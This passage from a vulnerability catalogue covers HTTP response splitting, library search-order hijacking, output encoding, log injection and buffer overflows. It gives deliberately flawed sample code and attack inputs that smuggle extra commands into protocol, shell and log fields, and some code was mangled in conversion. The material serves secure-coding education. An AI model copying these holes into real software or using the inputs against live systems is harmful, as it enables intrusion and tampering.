Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including:

cross-user defacement web and browser cache poisoning cross-site scripting page hijacking

**Example 2:**

An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever.

**Cross-User Defacement** This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

**Example 3:**

The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user.

**Cache Poisoning** If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

**Example 4:**

Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.

Cross-Site Scripting Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

#### Example 5:

In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead.

Page Hijacking By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

#### Observed Examples

## CWE-114: Process Control

<b>Weakness ID</b> : 114	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

### Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

### Demonstrative Examples

#### Example 1:

The following code uses `System.loadLibrary()` to load code from a native library named `library.dll`, which is normally found in a standard system directory.

*Example Language: Java*

*(bad)*

```
...System.loadLibrary("library.dll");...
```

The problem here is that `System.loadLibrary()` accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of `library.dll` higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's `library.dll` will now be run with elevated privileges, possibly giving them complete control of the system.

#### Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

Example Language: C

(bad)

```
...RegQueryValueEx(hkey, "APPHOME", 0, 0, (BYTE*)home, &size);char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));if
(lib) { strcpy(lib,home);strcat(lib,INITCMD);LoadLibrary(lib); }...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

**Example 3:**

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

Example Language: C

(bad)

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

**CWE-116: Improper Encoding or Escaping of Output**

**Weakness ID** : 116**Status**: Draft**Structure** : Simple**Abstraction** : Class

## Description

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

## Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead. Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1"). If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands  <i>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</i>	
Confidentiality	Bypass Protection Mechanism  <i>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

*Effectiveness = Moderate*

*This is not a perfect solution, since 100% accuracy and coverage are not feasible.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

#### Phase: Architecture and Design

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

**Phase: Architecture and Design****Phase: Implementation**

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

**Phase: Architecture and Design**

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

**Phase: Architecture and Design**

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

**Phase: Requirements**

Fully specify which encodings are required by components that will be communicating with each other.

**Phase: Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Demonstrative Examples****Example 1:**

This code displays an email address that was submitted as part of a form.

*Example Language: JSP*

*(bad)*

```
<% String email = request.getParameter("email"); %>...Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

**Example 2:**

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single

space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

*Example Language: Perl*

*(bad)*

```
$inputString = readLineFromFileHandle($serverFH); # generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString); foreach $cmd (@commands) { # separate the operator from its arguments
based on a single whitespace ($operator, $args) = split(/ /, $cmd, 2); $args = UriDecode($args);if ($operator eq "BAN")
{ExecuteBan($args);}elsif ($operator eq "SAY") {ExecuteSay($args);}}
```

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

*Example Language: Perl*

*(bad)*

```
$inputString = GetUntrustedArgument("command");($cmd, $argstr) = split(/\s+/, $inputString, 2); # removes extra
whitespace and also changes CRLF's to spaces $argstr =~ s/\s+/ /gs; $argstr = UriEncode($argstr);if (($cmd eq "BAN") &&
(! IsAdministrator($username))) {die "Error: you are not the admin.\n";} # communicate with file server using a file handle $fh
= GetServerFileHandle("myserver"); print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UriEncode function could leave the "|" character intact. If an attacker provides:

*Example Language:*

*(attack)*

```
SAY hello world|BAN user12
```

then the front end will see this is a "SAY" command, and the \$argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

*Example Language:*

*(result)*

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

*Example Language:*

*(result)*

```
SAY hello worldBAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

### Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

*Example Language: Perl*

*(bad)*

```
sub GetUntrustedInput {return($ARGV[0]);} sub encode {my($str) = @_;$str =~ s/\&/&gs;$str =~ s/"/
&quot;/gs;$str =~ s/'/\'/gs;$str =~ s/</</gs;$str =~ s/>/>/gs;return($str);} sub doit {my $uname =
encode(GetUntrustedInput("username"));print "<b>Welcome, $uname!</b><p>\n";system("cd /home/$uname; /bin/ls -l"); }
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Example Language:

(attack)

```
'pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

### Observed Examples

Reference	Description
<b>CVE-2008-4636</b>	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4636">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4636</a>

<b>CVE-2008-0005</b>	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0005">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0005</a>
<b>CVE-2008-5573</b>	SQL injection via password parameter; a strong password might contain "&" <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5573">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5573</a>
<b>CVE-2008-3773</b>	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3773">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3773</a>
<b>CVE-2008-0757</b>	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0757">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0757</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		751	2009 Top 25 - Insecure Interaction Between Components	750	1580
MemberOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1589
MemberOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1608
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	1643

### Notes

#### Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

#### Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

### Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

### Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

### Taxonomy Mappings

## CWE-117: Improper Output Neutralization for Logs

**Weakness ID** : 117

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not neutralize or incorrectly neutralizes output that is written to logs.

### Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs. Log forging vulnerabilities occur when: Data enters an application from an untrusted source. The data is written to an application or system log file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Hide Activities	
Availability	Execute Unauthorized Code or Commands	
Non-Repudiation	<p><i>Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.</i></p>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which

can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

*Example Language: Java*

*(bad)*

```
String val = request.getParameter("val");try { int value = Integer.parseInt(val); }catch (NumberFormatException)
{log.info("Failed to parse val = " + val);}...
```

If a user submits the string "twenty-one" for `val`, the following entry is logged:

```
INFO: Failed to parse val=twenty-one
```

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

```
INFO: Failed to parse val=twenty-one INFO: User logged out=badguy
```

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

### Observed Examples

## CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Weakness ID :** 119

**Status:** Usable

**Structure :** Simple

**Abstraction :** Class

### Description

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

### Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

### Relationships

### Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

**Language** : Assembly (Prevalence = Undetermined)

### Alternate Terms

**Memory Corruption** : The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e.,

classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory	
	<i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i>	
Availability Confidentiality	Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	
	<i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Confidentiality	Read Memory	
	<i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### **Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode Quality Analysis Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Requirements**

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the

programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).*

**Demonstrative Examples****Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(bad)*

```
void host_lookup(char *user_supplied_addr){ struct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t
inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct
in_addr), AF_INET);strcpy(hostname, hp->h_name); }
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**

This example applies an encoding procedure to an input string and stores it into a buffer.

*Example Language: C*

*(bad)*

```
char * copy_input(char *user_supplied_string){ int i, dst_index;char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);if
( MAX_SIZE <= strlen(user_supplied_string) ){die("user string too long, die evil hacker!");}dst_index = 0;for ( i = 0; i <
strlen(user_supplied_string); i++){ if( '&' == user_supplied_string[i] ){dst_buf[dst_index++] = '&';dst_buf[dst_index++] =
'a';dst_buf[dst_index++] = 'm';dst_buf[dst_index++] = 'p';dst_buf[dst_index++] = ';';}else if ('<' == user_supplied_string[i] ){ /*
encode to &lt; */ }else dst_buf[dst_index++] = user_supplied_string[i]; }return dst_buf; }
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

**Example 3:**

The following example asks a user for an offset into an array to select an item.

*Example Language: C*

*(bad)*

```
int main (int argc, char **argv) {char *items[] = {"boat", "car", "truck", "train"};int index = GetUntrustedOffset();printf("You
selected %s\n", items[index-1]);}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Example 4:**

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(bad)

```
int getValueFromArray(int *array, int len, int index) { int value; // check that the array index is less than the maximum //
length of the array if (index < len) { // get the value at the specified index of the array value = array[index]; } // if array index is
invalid then output error message // and return value indicating error else {printf("Value is: %d\n", array[index]);value = -1;}
return value; }
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(good)

```
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ...
```

### Example 5:

